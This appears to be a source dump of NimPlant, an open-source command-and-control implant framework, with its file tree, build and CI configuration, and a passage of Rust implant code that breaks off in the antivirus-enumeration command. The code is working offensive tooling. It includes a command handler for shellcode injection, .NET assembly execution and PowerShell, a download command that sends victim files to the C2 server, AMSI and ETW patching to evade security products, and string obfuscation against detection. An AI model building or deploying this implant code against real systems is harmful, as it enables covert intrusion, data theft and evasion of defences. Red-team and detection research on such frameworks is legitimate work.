├── .devcontainer └── devcontainer.json ├── .dockerignore ├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── workflows │ └── main.yml ├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── client-rs ├── Cargo.lock ├── Cargo.toml ├── build.rs ├── dist │ └── libsodium.a └── src │ ├── app.rs │ ├── app │ ├── client.rs │ ├── coff_loader │ │ ├── beacon_api.rs │ │ └── mod.rs │ ├── commands.rs │ ├── commands │ │ ├── cat.rs │ │ ├── cd.rs │ │ ├── cp.rs │ │ ├── curl.rs │ │ ├── download.rs │ │ ├── env.rs │ │ ├── execute_assembly.rs │ │ ├── get_av.rs │ │ ├── get_domain.rs │ │ ├── get_local_admins.rs │ │ ├── inline_execute.rs │ │ ├── ls.rs │ │ ├── mkdir.rs │ │ ├── mv.rs │ │ ├── powershell.rs │ │ ├── ps.rs │ │ ├── pwd.rs │ │ ├── reg.rs │ │ ├── rm.rs │ │ ├── run.rs │ │ ├── screenshot.rs │ │ ├── shell.rs │ │ ├── shinject.rs │ │ ├── sleep.rs │ │ ├── upload.rs │ │ ├── wget.rs │ │ └── whoami.rs │ ├── config.rs │ ├── crypto.rs │ ├── debug.rs │ ├── dinvoke.rs │ ├── http.rs │ ├── patches.rs │ ├── self_delete.rs │ └── win_utils.rs │ ├── lib.rs │ └── main.rs ├── client ├── NimPlant.nim ├── NimPlant.nimble ├── commands │ ├── cat.nim │ ├── cd.nim │ ├── cp.nim │ ├── curl.nim │ ├── download.nim │ ├── env.nim │ ├── getAv.nim │ ├── getDom.nim │ ├── getLocalAdm.nim │ ├── ls.nim │ ├── mkdir.nim │ ├── mv.nim │ ├── ps.nim │ ├── pwd.nim │ ├── reg.nim │ ├── risky │ │ ├── executeAssembly.nim │ │ ├── inlineExecute.nim │ │ ├── powershell.nim │ │ ├── shell.nim │ │ └── shinject.nim │ ├── rm.nim │ ├── run.nim │ ├── screenshot.nim │ ├── upload.nim │ ├── wget.nim │ └── whoami.nim ├── dist │ └── srdi │ │ ├── LICENSE │ │ └── ShellcodeRDI.py └── util │ ├── cfg.nim │ ├── crypto.nim │ ├── ekko.nim │ ├── functions.nim │ ├── patches.nim │ ├── risky │ ├── beaconFunctions.nim │ ├── delegates.nim │ ├── dinvoke.nim │ └── structs.nim │ ├── selfDelete.nim │ ├── strenc.nim │ ├── webClient.nim │ └── winUtils.nim ├── config.toml.example ├── detection ├── hktl_nimplant.yar ├── nimplant_detection.yar └── strings_test.yar ├── docker-example ├── docker-compose.yml ├── html │ └── index.html └── nginx.conf ├── nimplant.py ├── server ├── .gitattributes ├── __init__.py ├── api │ ├── __init__.py │ └── server.py ├── requirements.txt ├── server.py ├── util │ ├── __init__.py │ ├── commands.py │ ├── commands.yaml │ ├── config.py │ ├── crypto.py │ ├── db.py │ ├── func.py │ ├── input.py │ ├── listener.py │ ├── nimplant.py │ ├── notify.py │ └── strings.py └── web │ ├── downloads.html │ ├── index.html │ ├── nimplants.html │ ├── nimplants │ └── details.html │ ├── server.html │ └── static │ ├── 404.html │ ├── _next │ └── static │ │ ├── 1HDpMKy_Z6k131KtodBGP │ │ ├── _buildManifest.js │ │ └── _ssgManifest.js │ │ ├── chunks │ │ ├── 188-6b6ae4d8616a6862.js │ │ ├── 501-1eeab0a73de0fc3c.js │ │ ├── 511-99b699838343524d.js │ │ ├── 5c0b189e-8529559d513024f7.js │ │ ├── 7-a90dc58109139329.js │ │ ├── framework-ecc4130bc7a58a64.js │ │ ├── main-ac52e5f1ea1d2a16.js │ │ ├── pages │ │ │ ├── _app-ff1eaf5a1fa69292.js │ │ │ ├── _error-77823ddac6993d35.js │ │ │ ├── downloads-a98c770860b40d3a.js │ │ │ ├── index-598a224f0301f676.js │ │ │ ├── nimplants-8789233be6c2535f.js │ │ │ ├── nimplants │ │ │ │ └── details-c675f6f5e2259439.js │ │ │ └── server-2b8f1c88ec2d3025.js │ │ ├── polyfills-78c92fac7aa8fdd8.js │ │ └── webpack-5146130448d8adf7.js │ │ └── css │ │ ├── 1bfdeded59ccc0ae.css │ │ ├── a741aa5e293e3dbc.css │ │ └── c0d97c81cae9a0d1.css │ ├── favicon.png │ ├── favicon.svg │ ├── nimplant-logomark.svg │ └── nimplant.svg └── ui ├── .eslintrc.json ├── .gitignore ├── build-ui.py ├── components ├── Console.tsx ├── Dots.tsx ├── DownloadList.tsx ├── InfoCard.tsx ├── InfoCardListNimplant.tsx ├── InfoCardListServer.tsx ├── MainLayout.tsx ├── NavbarContents.tsx ├── NimplantOverviewCard.tsx ├── NimplantOverviewCardList.tsx ├── TitleBar.tsx └── modals │ ├── Cmd-Execute-Assembly.tsx │ ├── Cmd-Inline-Execute.tsx │ ├── Cmd-Shinject.tsx │ ├── Cmd-Upload.tsx │ └── ExitServer.tsx ├── modules ├── nimplant.d.ts └── nimplant.ts ├── next-env.d.ts ├── next.config.js ├── package-lock.json ├── package.json ├── pages ├── _app.tsx ├── _document.tsx ├── downloads.tsx ├── index.tsx ├── nimplants │ ├── details.tsx │ └── index.tsx └── server.tsx ├── postcss.config.cjs ├── public ├── favicon.png ├── favicon.svg ├── nimplant-logomark.svg └── nimplant.svg ├── styles ├── buttonstyles.module.css ├── global.css ├── liststyles.module.css └── styles.module.css └── tsconfig.json /.devcontainer/devcontainer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "NimPlant Dev Container", 3 | "build": { 4 | "dockerfile": "../Dockerfile" 5 | }, 6 | "customizations": { 7 | "vscode": { 8 | "extensions": [ 9 | "GitHub.copilot-chat", 10 | "GitHub.copilot", 11 | "kosz78.nim", 12 | "littlefoxteam.vscode-python-test-adapter", 13 | "matklad.rust-analyzer", 14 | "ms-azuretools.vscode-docker", 15 | "ms-python.black-formatter", 16 | "ms-python.isort", 17 | "ms-python.pylint", 18 | "ms-python.python", 19 | "ms-python.vscode-pylance", 20 | "serayuzgur.crates", 21 | "tamasfe.even-better-toml", 22 | "vadimcn.vscode-lldb" 23 | ] 24 | } 25 | }, 26 | "postCreateCommand": "apt-get update && apt-get install -y ssh", 27 | "remoteUser": "root" 28 | } -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | .devcontainer 2 | .git 3 | .github 4 | .gitignore 5 | .venv 6 | .xorkey 7 | client-rs/bin/ 8 | client-rs/target/ 9 | client/bin/ 10 | config.toml 11 | config.toml.example 12 | detection/ 13 | LICENSE 14 | README.md 15 | ui/ 16 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [chvancooten] 2 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Report a bug or unexpected behavior in NimPlant 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | - [ ] This issue is not about OPSEC or bypassing defensive products 11 | - [ ] I have followed the steps in the [Troubleshooting section](https://github.com/chvancooten/NimPlant/blob/main/README.md#troubleshooting) 12 | 13 | --- 14 | 15 | **OS and version:** 16 | **Python version:** 17 | **Nim version:** 18 | **Using Docker:** Yes/No 19 | 20 | --- 21 | 22 | **Issue Description** 23 | 24 | --- 25 | 26 | **Screenshots** 27 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an addition or cool new feature for NimPlant 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | - [ ] This issue is not about OPSEC or bypassing defensive products 11 | 12 | --- 13 | 14 | **Feature Description** 15 | -------------------------------------------------------------------------------- /.github/workflows/main.yml: -------------------------------------------------------------------------------- 1 | name: Build NimPlant container and test builds 2 | 3 | on: 4 | push: 5 | branches: [main] 6 | pull_request: 7 | branches: [main] 8 | workflow_dispatch: 9 | 10 | jobs: 11 | build-container: 12 | runs-on: ubuntu-latest 13 | steps: 14 | - name: Checkout code into workspace directory 15 | uses: actions/checkout@v4 16 | 17 | - name: Set Docker image tag 18 | id: set_tag 19 | run: | 20 | if [ "${{ github.event_name }}" == "workflow_dispatch" ] || [ "${{ github.event_name }}" == "pull_request" ]; then 21 | echo "tag=dev" >> $GITHUB_OUTPUT 22 | else 23 | echo "tag=latest" >> $GITHUB_OUTPUT 24 | fi 25 | shell: bash 26 | 27 | - name: Build Docker container 28 | run: docker build . -t ${{ vars.DOCKERHUB_USERNAME }}/nimplant:${{ steps.set_tag.outputs.tag }} 29 | 30 | - name: Login to Docker Hub 31 | uses: docker/login-action@v3 32 | with: 33 | username: ${{ vars.DOCKERHUB_USERNAME }} 34 | password: ${{ secrets.DOCKERHUB_TOKEN }} 35 | 36 | - name: Push Docker image to Docker Hub 37 | run: docker push ${{ vars.DOCKERHUB_USERNAME }}/nimplant:${{ steps.set_tag.outputs.tag }} 38 | 39 | test-builds: 40 | needs: build-container 41 | strategy: 42 | max-parallel: 2 43 | fail-fast: false 44 | matrix: 45 | include: 46 | - language: "nim" 47 | paths: ./client/bin/NimPlant.exe, ./client/bin/NimPlant.dll, ./client/bin/NimPlant.bin, ./client/bin/NimPlant-selfdelete.exe 48 | - language: "rust" 49 | paths: ./client-rs/bin/nimplant.bin, ./client-rs/bin/nimplant.dll, ./client-rs/bin/nimplant.exe, ./client-rs/bin/nimplant-selfdelete.exe 50 | runs-on: ubuntu-latest 51 | steps: 52 | - name: Checkout code into workspace directory 53 | uses: actions/checkout@v4 54 | 55 | - name: Set Docker image tag 56 | id: set_tag 57 | run: | 58 | if [ "${{ github.event_name }}" == "workflow_dispatch" ] || [ "${{ github.event_name }}" == "pull_request" ]; then 59 | echo "tag=dev" >> $GITHUB_OUTPUT 60 | else 61 | echo "tag=latest" >> $GITHUB_OUTPUT 62 | fi 63 | shell: bash 64 | 65 | - name: Pull Docker image from Docker Hub 66 | run: docker pull ${{ vars.DOCKERHUB_USERNAME }}/nimplant:${{ steps.set_tag.outputs.tag }} 67 | 68 | - name: Copy example configuration 69 | run: cp config.toml.example config.toml 70 | 71 | - name: Compile binaries using Docker 72 | run: docker run -v ${PWD}:/nimplant ${{ vars.DOCKERHUB_USERNAME }}/nimplant:${{ steps.set_tag.outputs.tag }} compile all ${{ matrix.language }} 73 | 74 | - name: Check if all files compiled correctly for ${{ matrix.language }} 75 | uses: andstor/file-existence-action@v3 76 | with: 77 | fail: true 78 | files: ${{ matrix.paths }} 79 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | .venv 3 | .vscode 4 | .xorkey 5 | *.bin 6 | *.db 7 | *.dll 8 | *.exe 9 | *.key 10 | *.pem 11 | *.pyc 12 | bin/ 13 | config.toml 14 | server/downloads/ 15 | server/logs/ 16 | server/uploads/ 17 | target/ -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:24.04 2 | 3 | LABEL maintainer="Cas van Cooten (@chvancooten)" 4 | 5 | WORKDIR /nimplant 6 | 7 | # Install system dependencies 8 | RUN apt-get update && apt-get install --no-install-recommends -y \ 9 | build-essential \ 10 | curl \ 11 | git \ 12 | mingw-w64 \ 13 | nim \ 14 | python3 \ 15 | python3-pip \ 16 | rustup \ 17 | && apt-get clean \ 18 | && rm -rf /var/lib/apt/lists/* 19 | 20 | # Install Rust w/ Cargo opsec improvements 21 | RUN curl https://sh.rustup.rs -sSf | bash -s -- -y --default-toolchain nightly --target x86_64-pc-windows-gnu --profile minimal 22 | ENV PATH="/root/.cargo/bin:${PATH}" 23 | RUN printf "[build]\nrustflags = [\"--remap-path-prefix\", \"/nimplant=/build\", \"-Zlocation-detail=none\"]" > /root/.cargo/config.toml 24 | 25 | # Copy files 26 | COPY . /nimplant 27 | 28 | # Install Python requirements 29 | RUN pip install --no-cache-dir -r server/requirements.txt --break-system-packages 30 | 31 | # Install Nim requirements 32 | RUN cd client; nimble install -d -y; cd .. 33 | 34 | # Expose ports 35 | EXPOSE 80 36 | EXPOSE 443 37 | EXPOSE 31337 38 | 39 | # Set the entrypoint to the nimplant.py helper script 40 | ENTRYPOINT [ "python3", "/nimplant/nimplant.py" ] -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2022 Cas van Cooten (@chvancooten) 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /client-rs/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "nimplant-rs" 3 | version = "1.4.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | # Opsec tips from: 9 | ## https://github.com/trickster0/OffensiveRust/blob/master/cargo.toml 10 | ## https://github.com/johnthagen/min-sized-rust 11 | 12 | # Make sure to switch to the nightly build chain 13 | ## rustup default nightly 14 | 15 | # and add the following to your ~/.cargo/config.toml: 16 | ## [build] 17 | ## rustflags = ["--remap-path-prefix", "C:\\Users\\YOUR_USERNAME=~", "-Zlocation-detail=none"] 18 | 19 | [profile.release] 20 | opt-level = "z" 21 | lto = true 22 | strip = true 23 | codegen-units = 1 24 | panic = "abort" 25 | 26 | # We still optimize for size in debug mode, 27 | # because the MingW target results in crazy 28 | # large debug binaries otherwise 29 | [profile.dev] 30 | opt-level = "z" 31 | split-debuginfo = "packed" 32 | strip = true 33 | 34 | [lib] 35 | name = "nimplant" 36 | crate-type = ["cdylib"] 37 | 38 | [[bin]] 39 | name = "nimplant" 40 | path = "src/main.rs" 41 | 42 | [[bin]] 43 | name = "nimplant-selfdelete" 44 | path = "src/main.rs" 45 | 46 | [features] 47 | risky = [ 48 | "clroxide", 49 | "dinvoke_rs", 50 | "goblin", 51 | "printf-compat", 52 | "widestring", 53 | "windows", 54 | "once_cell", 55 | ] 56 | selfdelete = ["widestring", "windows"] 57 | 58 | [build-dependencies] 59 | bincode = "1.3.3" 60 | serde = { version = "1.0.204", features = ["derive"] } 61 | serde_derive = "1.0.122" 62 | toml = "0.8.19" 63 | 64 | [dependencies] 65 | aes = "0.8.4" 66 | base64 = "0.22.1" 67 | bincode = "1.3.3" 68 | chrono = "0.4.38" 69 | clroxide = { version = "1.1.1", optional = true } 70 | ctr = "0.9.2" 71 | dinvoke_rs = { version = "0.1.5", optional = true } 72 | flate2 = "1.0.31" 73 | fmtools = { version = "0.1.2", features = ["obfstr"] } 74 | goblin = { version = "0.8.2", optional = true, features = ["alloc"] } 75 | image = { version = "0.25.2", features = ["png"] } 76 | libloading = "0.8.5" 77 | local-ip-address = "0.6.1" 78 | microkv = "0.2.9" 79 | once_cell = { version = "1.19.0", optional = true } 80 | printf-compat = { version = "0.1.1", optional = true } 81 | rand = "0.8.5" 82 | serde = { version = "1.0.204", features = ["derive"] } 83 | serde_json = "1.0.122" 84 | ureq = "2.10.0" 85 | widestring = { version = "1.1.0", optional = true } 86 | winreg = "0.52.0" 87 | wmi = "0.13.3" 88 | 89 | # Windows APIs - used only for COFF loading 90 | windows = { version = "0.57.0", optional = true, features = [ 91 | "Win32_Foundation", 92 | "Win32_Security", 93 | "Win32_Storage_FileSystem", 94 | "Win32_Storage", 95 | "Win32_System_Diagnostics_Debug", 96 | "Win32_System_LibraryLoader", 97 | "Win32_System_Memory", 98 | "Win32_System_SystemServices", 99 | "Win32_System_Threading", 100 | ] } 101 | 102 | # Windows API pure definitions - preferred throughout Nimplant codebase 103 | windows-sys = { version = "0.52.0", features = [ 104 | "Wdk_Foundation", 105 | "Wdk_System_SystemServices", 106 | "Win32_Foundation", 107 | "Win32_Graphics_Gdi", 108 | "Win32_Security", 109 | "Win32_Storage_FileSystem", 110 | "Win32_System_Console", 111 | "Win32_System_Diagnostics_ToolHelp", 112 | "Win32_System_Memory", 113 | "Win32_System_Services", 114 | "Win32_System_SystemInformation", 115 | "Win32_System_SystemServices", 116 | "Win32_System_Threading", 117 | "Win32_System_WindowsProgramming", 118 | "Win32_UI_WindowsAndMessaging", 119 | ] } 120 | -------------------------------------------------------------------------------- /client-rs/dist/libsodium.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/chvancooten/NimPlant/af61429e758ce22ef2c21a06650170e7e4c96ce9/client-rs/dist/libsodium.a -------------------------------------------------------------------------------- /client-rs/src/app/commands.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | 3 | // Define the command modules 4 | pub(crate) mod cat; 5 | pub(crate) mod cd; 6 | pub(crate) mod cp; 7 | pub(crate) mod curl; 8 | pub(crate) mod download; 9 | pub(crate) mod env; 10 | pub(crate) mod get_av; 11 | pub(crate) mod get_domain; 12 | pub(crate) mod get_local_admins; 13 | pub(crate) mod ls; 14 | pub(crate) mod mkdir; 15 | pub(crate) mod mv; 16 | pub(crate) mod ps; 17 | pub(crate) mod pwd; 18 | pub(crate) mod reg; 19 | pub(crate) mod rm; 20 | pub(crate) mod run; 21 | pub(crate) mod screenshot; 22 | pub(crate) mod sleep; 23 | pub(crate) mod upload; 24 | pub(crate) mod wget; 25 | pub(crate) mod whoami; 26 | 27 | #[cfg(feature = "risky")] 28 | pub(crate) mod inline_execute; 29 | 30 | #[cfg(feature = "risky")] 31 | pub(crate) mod execute_assembly; 32 | 33 | #[cfg(feature = "risky")] 34 | pub(crate) mod shell; 35 | 36 | #[cfg(feature = "risky")] 37 | pub(crate) mod shinject; 38 | 39 | #[cfg(feature = "risky")] 40 | pub(crate) mod powershell; 41 | 42 | // Define a public function to handle the command execution 43 | pub(crate) fn handle_command( 44 | command: &str, 45 | args: &[String], 46 | client: &mut crate::app::client::Client, 47 | guid: &str, 48 | ) -> String { 49 | match command { 50 | // We uglify the syntax a little bit so we can use the obfuscation from the obfstr crate 51 | _ if command == format!("cat") => cat::cat(&args.join(" ")), 52 | _ if command == format!("cd") => cd::cd(&args.join(" ")), 53 | _ if command == format!("cp") => cp::cp(args), 54 | _ if command == format!("curl") => curl::curl(&args.join(" "), client), 55 | _ if command == format!("download") => download::download(guid, &args.join(" "), client), 56 | _ if command == format!("env") => env::env(), 57 | _ if command == format!("getav") => get_av::get_av(), 58 | _ if command == format!("getdom") => get_domain::get_domain(), 59 | _ if command == format!("getlocaladm") => get_local_admins::get_local_admins(), 60 | _ if command == format!("ls") => ls::ls(&args.join(" ")), 61 | _ if command == format!("mkdir") => mkdir::mkdir(&args.join(" ")), 62 | _ if command == format!("mv") => mv::mv(args), 63 | _ if command == format!("ps") => ps::ps(), 64 | _ if command == format!("pwd") => pwd::pwd(), 65 | _ if command == format!("reg") => reg::reg(args), 66 | _ if command == format!("rm") => rm::rm(&args.join(" ")), 67 | _ if command == format!("run") => run::run(args), 68 | _ if command == format!("screenshot") => screenshot::screenshot(), 69 | _ if command == format!("sleep") => sleep::sleep(args, client), 70 | _ if command == format!("kill") => std::process::exit(0), 71 | _ if command == format!("upload") => upload::upload(guid, args, client), 72 | _ if command == format!("wget") => wget::wget(args, client), 73 | _ if command == format!("whoami") => whoami::whoami(), 74 | 75 | #[cfg(feature = "risky")] 76 | _ if command == format!("inline-execute") => inline_execute::inline_execute(args, client), 77 | #[cfg(feature = "risky")] 78 | _ if command == format!("execute-assembly") => { 79 | execute_assembly::execute_assembly(args, client) 80 | } 81 | #[cfg(feature = "risky")] 82 | _ if command == format!("shell") => shell::shell(&args.join(" ")), 83 | #[cfg(feature = "risky")] 84 | _ if command == format!("shinject") => shinject::shinject(args, client), 85 | #[cfg(feature = "risky")] 86 | _ if command == format!("powershell") => powershell::powershell(args), 87 | #[cfg(not(feature = "risky"))] 88 | _ if [ 89 | "inline-execute", 90 | "execute-assembly", 91 | "shell", 92 | "shinject", 93 | "powershell", 94 | ] 95 | .contains(&command) => 96 | { 97 | format!("Risky command received but 'riskyMode' disabled in config.toml.") 98 | } 99 | 100 | _ => format!("Unknown command."), 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/cat.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::io::ErrorKind; 3 | 4 | pub(crate) fn cat(path: &str) -> String { 5 | if path.is_empty() { 6 | return format!("Invalid number of arguments received. Usage: 'cat [file]'."); 7 | } 8 | 9 | match std::fs::read_to_string(path) { 10 | Ok(contents) => contents, 11 | Err(e) => { 12 | if e.kind() == ErrorKind::NotFound { 13 | format!("File not found.") 14 | } else { 15 | format!("Error reading file.") 16 | } 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/cd.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use std::env; 3 | 4 | pub(crate) fn cd(path: &str) -> String { 5 | if path.is_empty() { 6 | return format!("Invalid number of arguments received. Usage: 'cd [directory]'."); 7 | } 8 | 9 | if let Ok(()) = env::set_current_dir(path) { 10 | format!("Successfully changed working directory to '"{path}"'.") 11 | } else { 12 | format!("Error changing working directory.") 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/cp.rs: -------------------------------------------------------------------------------- 1 | use crate::app::win_utils::transfer_dir_to; 2 | use fmtools::format; // using obfstr to obfuscate 3 | use std::ffi::OsStr; 4 | use std::fs; 5 | use std::path::Path; 6 | 7 | pub(crate) fn cp(args: &[String]) -> String { 8 | let source: String; 9 | let destination: String; 10 | 11 | if args.len() >= 2 { 12 | source = args[0].clone(); 13 | let destination_str = args[1..].join(" "); 14 | destination = destination_str; 15 | } else { 16 | return format!( 17 | "Invalid number of arguments received. Usage: 'cp [source] [destination]'." 18 | ); 19 | } 20 | 21 | let source_path = Path::new(&source); 22 | let destination_path = Path::new(&destination); 23 | let mut new_destination_path = destination_path.to_path_buf(); 24 | 25 | if !&source_path.exists() { 26 | return format!("Failed to copy, '"{source_path.to_string_lossy()}"' does not exist."); 27 | } 28 | 29 | if !&source_path.is_dir() && !&source_path.is_file() { 30 | return format!("Failed to copy, '"{source_path.to_string_lossy()}"' is not a file or directory."); 31 | } 32 | 33 | if source_path.is_dir() { 34 | // Copying a directory 35 | 36 | if !destination_path.exists() { 37 | // Destination does not exist, copy the source directory as a new directory with the destination name 38 | if let Err(e) = transfer_dir_to(source_path, destination_path, false) { 39 | return e; 40 | } 41 | } else if destination_path.is_dir() { 42 | // Destination exists as directory, copy the directory as a subdirectory of the destination, preserving its name 43 | new_destination_path = Path::new(&destination) 44 | .join(source_path.file_name().unwrap_or_else(|| OsStr::new(""))); 45 | if let Err(e) = transfer_dir_to(source_path, &new_destination_path, false) { 46 | return e; 47 | } 48 | } else { 49 | // Destination exists as file, return an error message 50 | return format!("Failed to copy, '"{new_destination_path.to_string_lossy()}"' exists as a file."); 51 | } 52 | } else { 53 | // Copying a file 54 | 55 | if !destination_path.exists() { 56 | // Destination does not exist, copy the file as the destination path 57 | if let Err(e) = fs::copy(source_path, destination_path) { 58 | return format!("Failed to copy file: "{e}); 59 | } 60 | } else if destination_path.is_dir() { 61 | // Destination exists as directory, copy the file into the destination directory 62 | new_destination_path = Path::new(&destination) 63 | .join(source_path.file_name().unwrap_or_else(|| OsStr::new(""))); 64 | if let Err(e) = fs::copy(source_path, &new_destination_path) { 65 | return format!("Failed to copy file: "{e}); 66 | } 67 | } else { 68 | // Destination exists as file, return an error message 69 | return format!("Failed to copy, '"{new_destination_path.to_string_lossy()}"' already exists."); 70 | } 71 | } 72 | 73 | format!("Successfully copied '"{source_path.to_string_lossy()}"' to '"{new_destination_path.to_string_lossy()}"'.") 74 | } 75 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/curl.rs: -------------------------------------------------------------------------------- 1 | use crate::app::client::Client; 2 | use fmtools::format; // using obfstr to obfuscate 3 | 4 | pub(crate) fn curl(url: &str, client: &Client) -> String { 5 | if url.is_empty() { 6 | return format!("Invalid number of arguments received. Usage: 'curl [URL]'."); 7 | } 8 | 9 | let response = ureq::get(url).set("User-Agent", &client.user_agent).call(); 10 | 11 | match response { 12 | Ok(res) => match res.into_string() { 13 | Ok(body) => body, 14 | Err(e) => e.to_string(), 15 | }, 16 | Err(e) => e.to_string(), 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/download.rs: -------------------------------------------------------------------------------- 1 | use crate::app::client::Client; 2 | use fmtools::format; // using obfstr to obfuscate 3 | use std::path::Path; 4 | 5 | // Download a file from the implant and send it to the C2 server 6 | pub(crate) fn download(guid: &str, filename: &String, client: &Client) -> String { 7 | // Check if the filename is empty 8 | if filename.is_empty() { 9 | return format!("Invalid number of arguments received. Usage: 'download [remote file] '."); 10 | } 11 | 12 | // Check if the target file exists and it is a valid file 13 | let file_path = Path::new(&filename); 14 | if !file_path.exists() || !file_path.is_file() { 15 | return format!("The file '"{filename}"' does not exist or is not a valid file."); 16 | } 17 | 18 | // Read the file data 19 | let data = match std::fs::read(filename) { 20 | Ok(data) => data, 21 | Err(e) => return format!("Failed to read '"{filename}"': "{e}"."), 22 | }; 23 | 24 | // Upload the file as a POST with encrypt(gzip(file_data)) 25 | match client.post_file(guid, &data) { 26 | Ok(()) => { 27 | format!("") // Server will know whether the file came in correctly 28 | } 29 | Err(e) => { 30 | format!("Failed to upload '"{filename}"': "{e}".") 31 | } 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/env.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | 3 | pub(crate) fn env() -> String { 4 | let mut result = String::new(); 5 | result.push_str(&format!("Environment variables:\n")); 6 | for (key, value) in std::env::vars() { 7 | result.push_str(&format!({key:<30}{value:<50}"\n")); 8 | } 9 | result 10 | } 11 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/execute_assembly.rs: -------------------------------------------------------------------------------- 1 | use clroxide::clr::Clr; 2 | use fmtools::format; // using obfstr to obfuscate 3 | use std::string::ToString; 4 | 5 | use crate::app::client::Client; 6 | use crate::app::patches::{patch_amsi, patch_etw}; 7 | 8 | // pub(crate) fn clr_exec_with_console(assembly: &[u8], args: &str) -> Result { 9 | // !todo!("clr_exec_with_console") 10 | // } 11 | 12 | fn parse_arg_to_bool(s: &str) -> bool { 13 | matches!(s, "1") 14 | } 15 | 16 | pub(crate) fn execute_assembly(args: &[String], client: &Client) -> String { 17 | let mut result = String::new(); 18 | let patch_amsi_arg = args.first().map_or(false, |s| parse_arg_to_bool(s)); 19 | let block_etw_arg = args.get(1).map_or(false, |s| parse_arg_to_bool(s)); 20 | let encrypted_assembly = &args[2]; 21 | let assembly_args = &args[3..]; 22 | 23 | if assembly_args.is_empty() { 24 | return format!("Invalid number of arguments received. Usage: 'execute-assembly [localfilepath] '."); 25 | } 26 | 27 | // Execute patches 28 | if patch_amsi_arg { 29 | match patch_amsi() { 30 | Ok(out) => result.push_str(&format!({out}"\n")), 31 | Err(err) => result.push_str(&format!({err}"\n")), 32 | } 33 | } 34 | 35 | if block_etw_arg { 36 | match patch_etw() { 37 | Ok(out) => result.push_str(&format!({out}"\n")), 38 | Err(err) => result.push_str(&format!({err}"\n")), 39 | } 40 | } 41 | 42 | // Decrypt the assembly 43 | let assembly = match client.decrypt_and_decompress(encrypted_assembly) { 44 | Ok(assembly) => assembly, 45 | Err(_e) => return format!("Failed to decrypt assembly: "{_e}), 46 | }; 47 | 48 | // Initialize the CLR and assembly using ClrOxide 49 | // We need to split and convert the arguments to a Vec, 50 | // because any argument in the array may contain multiple arguments with spaces 51 | let mut clr = match Clr::new( 52 | assembly, 53 | assembly_args 54 | .iter() 55 | .flat_map(|s| s.split(' ')) 56 | .map(ToString::to_string) 57 | .collect(), 58 | ) { 59 | Ok(clr) => clr, 60 | Err(err) => { 61 | result.push_str(&format!("Failed to load assembly: "{err})); 62 | return result; 63 | } 64 | }; 65 | 66 | // Execute the assembly and capture the output 67 | result.push_str(&format!("Executing assembly...\n")); 68 | match clr.run() { 69 | Ok(output) => result.push_str(&output), 70 | Err(err) => { 71 | result.push_str(&format!("Failed to execute assembly: "{err})); 72 | } 73 | }; 74 | 75 | result 76 | } 77 | -------------------------------------------------------------------------------- /client-rs/src/app/commands/get_av.rs: -------------------------------------------------------------------------------- 1 | use fmtools::format; // using obfstr to obfuscate 2 | use serde::Deserialize; 3 | use wmi::{COMLibrary, WMIConnection}; 4 | 5 | #[derive(Deserialize, Debug)] 6 | #[allow(non_snake_case)] 7 | struct AntiVirusProduct { 8 | displayName: String, 9 | } 10 | 11 | pub(crate) fn get_av() -> String { 12 | let com_con = match COMLibrary::new() { 13 | Ok(con) => con, 14 | Err(e) => return format!("Failed to initialize COM library: "{e}), 15 | }; 16 | 17 | let wmi_con = 18 | match 